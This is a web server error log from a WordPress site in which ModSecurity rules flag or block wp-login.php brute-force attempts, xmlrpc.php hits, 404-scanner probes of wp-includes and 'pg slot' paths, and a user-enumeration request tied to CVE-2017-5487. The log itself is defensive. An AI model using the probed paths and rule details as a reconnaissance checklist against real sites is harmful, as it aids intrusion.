[Fri Mar 20 00:36:30.819177 2026] [:error] [pid 46125:tid 46241] [client 172.234.219.28:43750] [client 172.234.219.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.234.219.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwmDmgN4lI6NHeckY5SAAAAAJA"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 01:04:15.740801 2026] [:error] [pid 46124:tid 46190] [client 161.132.49.90:40310] [client 161.132.49.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.49.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwsj0zMrlLOY6zyCjJyEgAAAEo"]
[Fri Mar 20 01:04:17.762705 2026] [:error] [pid 46124:tid 46184] [client 161.132.49.90:40310] [client 161.132.49.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.49.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwskUzMrlLOY6zyCjJyFwAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 01:10:36.088406 2026] [:error] [pid 46126:tid 46248] [client 192.185.4.92:22896] [client 192.185.4.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwuDKQ44YePbsZz3j7LAAAAARM"]
[Fri Mar 20 01:10:37.768844 2026] [:error] [pid 46126:tid 46254] [client 192.185.4.92:22896] [client 192.185.4.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwuDaQ44YePbsZz3j7LAQAAARY"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 01:14:30.159318 2026] [:error] [pid 46264:tid 46290] [client 209.97.171.56:61863] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abwu9op3TruHFmWOt5HWhQAAAAc"]
[Fri Mar 20 01:14:30.542333 2026] [:error] [pid 46124:tid 46180] [client 209.97.171.56:61505] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abwu9kzMrlLOY6zyCjJ2TQAAAEA"]
[Fri Mar 20 01:14:30.927825 2026] [:error] [pid 46126:tid 46222] [client 209.97.171.56:64727] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "abwu9qQ44YePbsZz3j7MRgAAAQY"]
[Fri Mar 20 01:29:54.307156 2026] [:error] [pid 46124:tid 46185] [client 116.90.32.12:36684] [client 116.90.32.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.90.32.12, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwykkzMrlLOY6zyCjJ89QAAAEU"]
[Fri Mar 20 01:29:56.063982 2026] [:error] [pid 46124:tid 46180] [client 116.90.32.12:36684] [client 116.90.32.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.90.32.12, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwylEzMrlLOY6zyCjJ8-QAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 02:31:16.448652 2026] [autoindex:error] [pid 11258:tid 11279] [client 20.104.192.115:40495] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 02:31:16.655959 2026] [:error] [pid 11258:tid 11274] [client 20.104.192.115:40495] [client 20.104.192.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.104.192.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "abxA9JPHb95f6xzHJOc4_QAAAM4"]
[Fri Mar 20 02:31:23.874504 2026] [autoindex:error] [pid 11258:tid 11261] [client 20.104.192.115:40495] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 02:31:24.170493 2026] [autoindex:error] [pid 11258:tid 11263] [client 20.104.192.115:40495] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 02:31:25.931323 2026] [autoindex:error] [pid 11258:tid 11265] [client 20.104.192.115:40495] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 02:31:33.107145 2026] [autoindex:error] [pid 11258:tid 11269] [client 20.104.192.115:40495] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 02:31:34.770787 2026] [:error] [pid 11258:tid 11278] [client 20.104.192.115:40495] [client 20.104.192.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "abxBBpPHb95f6xzHJOc5QwAAANI"]
[Fri Mar 20 02:31:38.100802 2026] [:error] [pid 46264:tid 46286] [client 20.104.192.115:40499] [client 20.104.192.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abxBCop3TruHFmWOt5EKDwAAAAM"]
[Fri Mar 20 02:31:39.899369 2026] [:error] [pid 46264:tid 46284] [client 20.104.192.115:40660] [client 20.104.192.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abxBC4p3TruHFmWOt5EKFAAAAAE"]
[Fri Mar 20 02:31:47.391973 2026] [:error] [pid 11258:tid 11260] [client 20.104.192.115:40497] [client 20.104.192.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abxBE5PHb95f6xzHJOc5dgAAAMA"]
[Fri Mar 20 02:31:52.536370 2026] [:error] [pid 46264:tid 46302] [client 20.104.192.115:40474] [client 20.104.192.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abxBGIp3TruHFmWOt5EKRAAAABM"]
[Fri Mar 20 02:49:47.770427 2026] [:error] [pid 46264:tid 46288] [client 192.185.4.103:51524] [client 192.185.4.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxFS4p3TruHFmWOt5EWUQAAAAU"]
[Fri Mar 20 02:49:50.752040 2026] [:error] [pid 46264:tid 46303] [client 192.185.4.103:51530] [client 192.185.4.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxFTop3TruHFmWOt5EWYgAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 02:52:54.452450 2026] [:error] [pid 46124:tid 46199] [client 43.131.23.154:55262] [client 43.131.23.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abxGBkzMrlLOY6zyCjKcwAAAAFM"]
[Fri Mar 20 03:08:46.013935 2026] [:error] [pid 11258:tid 11264] [client 67.207.86.6:59772] [client 67.207.86.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.207.86.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxJvpPHb95f6xzHJOdL_AAAAMQ"]
[Fri Mar 20 03:08:47.767671 2026] [:error] [pid 11258:tid 11277] [client 67.207.86.6:59772] [client 67.207.86.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.207.86.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxJv5PHb95f6xzHJOdL_wAAANE"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 03:11:49.383101 2026] [:error] [pid 46125:tid 46234] [client 108.179.252.70:17440] [client 108.179.252.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.179.252.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxKdWgN4lI6NHeckY52JwAAAI0"]
[Fri Mar 20 03:11:51.301428 2026] [:error] [pid 46125:tid 46219] [client 108.179.252.70:17440] [client 108.179.252.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.179.252.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxKd2gN4lI6NHeckY52KgAAAIU"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 03:18:59.102358 2026] [:error] [pid 46264:tid 46287] [client 192.250.232.26:56032] [client 192.250.232.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.232.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxMI4p3TruHFmWOt5EqzAAAAAQ"]
[Fri Mar 20 03:19:00.788254 2026] [:error] [pid 46264:tid 46288] [client 192.250.232.26:56032] [client 192.250.232.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.232.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxMJIp3TruHFmWOt5Eq0AAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 03:24:59.533188 2026] [:error] [pid 46264:tid 46303] [client 37.78.197.17:53206] [client 37.78.197.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.78.197.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abxNi4p3TruHFmWOt5EuxAAAABQ"]
[Fri Mar 20 03:31:55.980885 2026] [:error] [pid 46264:tid 46287] [client 41.76.213.235:55346] [client 41.76.213.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.76.213.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxPK4p3TruHFmWOt5EzYQAAAAQ"]
[Fri Mar 20 03:31:58.055364 2026] [:error] [pid 46264:tid 46296] [client 41.76.213.235:55346] [client 41.76.213.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.76.213.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxPLop3TruHFmWOt5EzagAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 04:40:58.424912 2026] [:error] [pid 58125:tid 58162] [client 50.6.109.150:42086] [client 50.6.109.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.109.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxfWvKqkvJQoqsQGeVUPgAAABI"]
[Fri Mar 20 04:41:00.213429 2026] [:error] [pid 58125:tid 58154] [client 50.6.109.150:42086] [client 50.6.109.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.109.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxfXPKqkvJQoqsQGeVUQQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 04:48:42.112934 2026] [:error] [pid 58230:tid 58244] [client 141.98.11.117:36988] [client 141.98.11.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxhKveBObYxbmHTzfqrGwAAAMs"]
[Fri Mar 20 04:48:43.822843 2026] [:error] [pid 58230:tid 58254] [client 141.98.11.117:36988] [client 141.98.11.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxhK_eBObYxbmHTzfqrHwAAANU"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 05:05:38.444990 2026] [:error] [pid 58230:tid 58255] [client 43.138.68.113:42114] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abxlIveBObYxbmHTzfq4IgAAANY"]
[Fri Mar 20 05:29:37.345431 2026] [:error] [pid 43163:tid 43170] [client 162.241.252.38:37798] [client 162.241.252.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.252.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxqwZ_n4JP_ko9XUsz3YQAAAQM"]
[Fri Mar 20 05:29:39.197112 2026] [:error] [pid 43163:tid 43176] [client 162.241.252.38:37798] [client 162.241.252.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.252.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abxqw5_n4JP_ko9XUsz3ZAAAAQk"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 05:44:20.306891 2026] [:error] [pid 58230:tid 58247] [client 37.78.197.17:62802] [client 37.78.197.17] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abxuNPeBObYxbmHTzfrNMgAAAM4"]
[Fri Mar 20 05:45:05.226935 2026] [:error] [pid 58127:tid 58201] [client 37.78.197.17:63257] [client 37.78.197.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.78.197.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abxuYbQ_HbYy8C6I_EH4mgAAAII"]
[Fri Mar 20 05:45:07.028192 2026] [:error] [pid 43163:tid 43178] [client 62.84.185.52:21744] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abxuY5_n4JP_ko9XUswCCQAAAQs"]
[Fri Mar 20 05:45:09.028736 2026] [:error] [pid 58127:tid 58222] [client 62.84.185.52:21752] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abxuZbQ_HbYy8C6I_EH4oQAAAJc"]
[Fri Mar 20 05:45:10.887779 2026] [:error] [pid 43163:tid 43175] [client 62.84.185.52:21756] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "abxuZp_n4JP_ko9XUswCEAAAAQg"]
[Fri Mar 20 05:45:12.850180 2026] [:error] [pid 58127:tid 58215] [client 62.84.185.52:21772] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "abxuaLQ_HbYy8C6I_EH4qwAAAJA"]
[Fri Mar 20 05:45:14.842519 2026] [:error] [pid 58230:tid 58233] [client 62.84.185.52:21776] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "abxuaveBObYxbmHTzfrNvgAAAMA"]
[Fri Mar 20 05:45:16.846876 2026] [:error] [pid 58230:tid 58235] [client 62.84.185.52:64494] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "abxubPeBObYxbmHTzfrNwgAAAMI"]
[Fri Mar 20 05:45:18.838503 2026] [:error] [pid 58127:tid 58220] [client 62.84.185.52:64498] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "abxubrQ_HbYy8C6I_EH4tgAAAJU"]
[Fri Mar 20 05:45:20.820430 2026] [:error] [pid 58125:tid 58161] [client 62.84.185.52:64504] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "abxucPKqkvJQoqsQGeVmYAAAABE"]
[Fri Mar 20 05:45:22.799837 2026] [:error] [pid 43163:tid 43190] [client 62.84.185.52:64516] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "abxucp_n4JP_ko9XUswCKQAAARc"]
[Fri Mar 20 05:45:24.627614 2026] [:error] [pid 43163:tid 43187] [client 62.84.185.52:64526] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "abxudJ_n4JP_ko9XUswCLgAAARQ"]
[Fri Mar 20 05:45:26.598895 2026] [:error] [pid 43163:tid 43173] [client 62.84.185.52:64536] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "abxudp_n4JP_ko9XUswCNwAAAQY"]
[Fri Mar 20 05:45:28.571354 2026] [:error] [pid 58126:tid 58186] [client 62.84.185.52:53234] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "abxueKKAmdXQSS0Y5KBc1QAAAE4"]
[Fri Mar 20 05:45:30.530152 2026] [:error] [pid 43163:tid 43170] [client 62.84.185.52:53250] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "abxuep_n4JP_ko9XUswCRgAAAQM"]
